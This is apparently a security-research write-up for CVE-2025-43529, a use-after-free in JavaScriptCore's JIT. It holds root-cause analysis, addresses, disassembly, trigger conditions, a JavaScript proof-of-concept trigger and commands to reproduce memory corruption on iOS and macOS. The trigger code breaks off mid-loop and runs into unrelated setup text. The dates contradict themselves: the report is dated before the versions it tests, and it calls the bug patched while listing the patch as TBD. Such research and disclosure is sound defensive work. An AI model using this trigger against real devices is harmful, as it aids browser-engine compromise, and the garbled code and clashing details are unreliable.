Share
## https://sploitus.com/exploit?id=DD33AFF7-28AF-5DBC-BC86-75079EB9DF4A
# CVE-2025-43529: JavaScriptCore DFG ObjectAllocationSinkingPhase UAF
**Date:** 2025-01-02
**Platform:** macOS 26.1 (Build 25B78) / iOS 26.1 (Build 23B85)
**Status:** Patched in macOS/iOS 26.2
**Component:** JavaScriptCore (WebKit)
**Severity:** Critical (Memory Corruption / RCE potential)
---
## Executive Summary
CVE-2025-43529 is a use-after-free vulnerability in JavaScriptCore's DFG/FTL JIT compiler, specifically in the `ObjectAllocationSinkingPhase`. The root cause is a missing `isUnescapedAllocation` check in `promoteLocalHeap()`, allowing the compiler to create stale "hints" for allocations that have escaped through Phi merges. When an OSR (On-Stack Replacement) exit occurs, the runtime uses these stale hints to reconstruct values, reading corrupted or freed memory.
---
## Root Cause Analysis
### The Vulnerability (26.1)
In `ObjectAllocationSinkingPhase::promoteLocalHeap()`, the compiler iterates over `PromotedHeapLocation` entries and creates hints for OSR exit materialization **without verifying** if the underlying allocation has escaped:
```cpp
// 26.1 - VULNERABLE: No escape check before createHint
for (auto& entry : m_promotedHeapLocations) {
createHint(entry); // Called unconditionally
}
```
### The Fix (26.2)
A new function `LocalHeap::isUnescapedAllocation()` was added and called before creating hints:
```cpp
// 26.2 - PATCHED: Check escape status first
for (auto& entry : m_promotedHeapLocations) {
if (isUnescapedAllocation(entry.allocation)) {
createHint(entry); // Only if truly unescaped
}
}
```
---
## Binary Comparison
### Key Addresses
| Symbol | 26.1 (Vulnerable) | 26.2 (Patched) |
|--------|-------------------|----------------|
| `promoteLocalHeap` | 0x1a24841a0 | 0x1a25fc524 |
| `escapeAllocation` | 0x1a24928cc | 0x1a2609198 |
| `newAllocation` | 0x1a2490c14 | 0x1a2606e80 |
| `isUnescapedAllocation` | **N/A** | 0x1a261e350 |
### LocalHeap Entry Size Change
| Version | Entry Size | Notes |
|---------|------------|-------|
| 26.1 | 0x38 (56 bytes) | No escape tracking field |
| 26.2 | 0x48 (72 bytes) | +16 bytes for escape counter at offset 0x10 |
### isUnescapedAllocation Disassembly (26.2)
```asm
0x1a261e350: cbz x0, 0x1a261e3c4 ; return false if null
0x1a261e354: ldur w8, [x0, #-0x8] ; load hash table mask
; ... hash table lookup ...
0x1a261e3b8: ldr w8, [x11, #0x10] ; KEY: load escape counter
0x1a261e3bc: cmp w8, #0x0 ; compare with 0
0x1a261e3c0: cset w0, ne ; return 1 if unescaped
0x1a261e3c4: ret
```
---
## Trigger Conditions
All must be true for exploitation:
1. **Strict-mode function** - Affects argument/allocation handling in DFG
2. **Phi merge inside loop** - Creates escape scenario across branches
3. **Promoted stores** - `PutByOffset` (object fields) or `PutByVal` (array indices)
4. **Allocation escapes** - Stored to global, passed to function, or captured by closure
5. **OSR exit trigger** - Type speculation failure (e.g., int โ object flip)
6. **Post-exit field access** - Reads from promoted locations using stale hints
---
## Validated Trigger Pattern
```javascript
"use strict";
let sink = null;
function makeA(v) {
const o = {};
o.x = v; // PutByOffset - promoted store
o.y = v + 1;
const a = [v, v + 2]; // PutByVal - promoted store
return { o, a };
}
function makeB(v) {
const o = {};
o.x = v;
o.y = v + 3;
const a = [v, v + 4];
return { o, a };
}
function trigger(osrFlip) {
let acc = 0;
for (let i = 0; i :8080/ftl-hint.html
```
3. Tap "Run" - look for MISMATCH output indicating corruption
### macOS (JSC)
```bash
DYLD_FRAMEWORK_PATH=/path/to/macos-files/26.1-jsc \
JSC_useFTLJIT=true \
JSC_dumpDFGDisassembly=true \
/System/Library/Frameworks/JavaScriptCore.framework/Helpers/jsc \
ftl-hint-repro.js 2>&1 | tee /tmp/ftl_output.txt
```
---
## Why Earlier Probes Failed
| Probe Type | Why It Passed |
|------------|---------------|
| DirectArguments GC pressure | Not targeting promoteLocalHeap hints |
| PhantomDirectArguments Phi | Missing strict-mode, no promoted stores |
| ClonedArguments patterns | DFG eliminated allocations entirely |
| Simple OSR exit | No Phi escape before OSR trigger |
| GC pressure after access | Corruption happens during OSR exit, not GC |
**Key insight:** The vulnerability requires the specific FTL/DFG shape with:
- Strict-mode (affects allocation handling)
- Promoted stores before escape (creates PromotedHeapLocation entries)
- Phi merge (creates escape path)
- OSR exit (uses stale hints)
---
## Timeline
| Date | Event |
|------|-------|
| 2025-01-01 | Initial research began |
| 2025-01-02 | RE analysis identified isUnescapedAllocation fix |
| 2025-01-02 | First MISMATCH observed on iOS 26.1 |
| 2025-01-02 | macOS FTL harness confirmed same pattern |
| TBD | Patch released in macOS/iOS 26.2 |
---
## References
- **Affected Versions:** macOS/iOS 26.1 and earlier
- **Fixed Versions:** macOS/iOS 26.2+
- **Component:** JavaScriptCore ObjectAllocationSinkingPhase
- **CWE:** CWE-416 (Use After Free)
---
## Binary Artifacts
| File | Path | Description |
|------|------|-------------|
| JavaScriptCore (26.1) | `macos-files/26.1-jsc/JavaScriptCore` | Vulnerable binary (201MB) |
| JavaScriptCore (26.2) | `macos-files/26.2-jsc/JavaScriptCore` | Patched binary (228MB) |
| Symbols | `macos-files/26.1-jsc/JavaScriptCore.a2s` | Address-to-symbol map |
---
*Report generated by SpiderWebKit Security Research*